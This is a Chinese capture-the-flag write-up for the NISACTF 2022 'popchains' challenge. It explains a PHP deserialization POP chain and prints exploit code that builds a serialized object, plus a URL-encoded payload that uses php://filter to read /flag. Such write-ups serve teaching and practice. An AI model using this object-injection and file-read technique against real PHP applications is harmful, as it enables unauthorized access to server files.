[NISACTF 2022]popchains - 反序列化+伪协议

NISACTF 2022popchains

一、解题流程

1、链条:Road_is_Long(construct->wakeup【page=$r】-> toString【string=$m】)-> Make_a_Change(construct->get【effort=$t】)-> Try_Work_Hard(invoke->append【var='php://filter/read=convert.base64-encode/resource=/flag'】)

2、根据链条:编写代码

php 复制代码
<?php
class Road_is_Long{
    public $page;
    public $string;
}
class Try_Work_Hard{
    protected  $var = "php://filter/read=convert.base64-encode/resource=/flag";
}
class Make_a_Change{
    public $effort;
} 

$r = new Road_is_Long();
$t = new Try_Work_Hard();
$m = new Make_a_Change();
$r->page=$r;
$r->string=$m;
$m->effort=$t;

//echo serialize($r);
echo urlencode(serialize($r));
?>

3、payload=O%3A12%3A%22Road_is_Long%22%3A2%3A%7Bs%3A4%3A%22page%22%3Br%3A1%3Bs%3A6%3A%22string%22%3BO%3A13%3A%22Make_a_Change%22%3A1%3A%7Bs%3A6%3A%22effort%22%3BO%3A13%3A%22Try_Work_Hard%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A54%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3D%2Fflag%22%3B%7D%7D%7D

4、通过payload得到flag的base64编码,解密得到flag即可

二、小小疑惑

疑问:/flag能获取是因为在根目录下吗?为什么写/flag.php就不行?如果对.过滤的话,应该会echo "You can Not Enter 2022";才对啊?

解答:这道题是2022年出的,这道题目下方提示flag.php文件,说明flag.php在当前目录下,但是答案是在根目录下,且是flag文件,所以个人认为是后面这台环境变了的问题。

相关推荐
moonsims9 小时前
Voliro 无人机-Aerial Mobile Robot(空中移动机器人):把无人机从“飞过去拍摄”,升级成“飞过去并与目标物理接触、测量甚至操作”
前端·人工智能·安全·无人机·量子计算
PHP实战开发录13 小时前
PHP事务异常后为什么数据还写进去了
mysql·php·开发
隔窗听雨眠17 小时前
记一次SQL Server数据库性能分析:从CPU100%到单配置修复的完整诊断
开发语言·数据库·php
三84418 小时前
PHP Session 反序列化(2):漏洞根因 —— 序列化处理器错位与对象注入
android·web安全·php·反序列化·session
秦老师Q18 小时前
php零基础入门到实战,从语法到框架,一篇搞定
开发语言·php
后台模板学习20 小时前
2026最新面试真题:到达用英语怎么说背后的逻辑与源码剖析
面试·职场和发展·php
jimmyleeee21 小时前
大模型安全之五:LLM输出安全
人工智能·安全
少陽君1 天前
Python 并发编程:IO 等待用线程/asyncio,CPU 计算才用进程
数据库·python·php
Bruce_Liuxiaowei1 天前
从两个中危漏洞读懂 CVSS 评分体系:向量拆解、数学计算与实战观察
安全·网络安全·漏洞评级
盛世宏博智慧档案1 天前
高速 ETC 门架外场机房温湿度远程监测解决方案
服务器·数据库·php·高度·高速·温湿度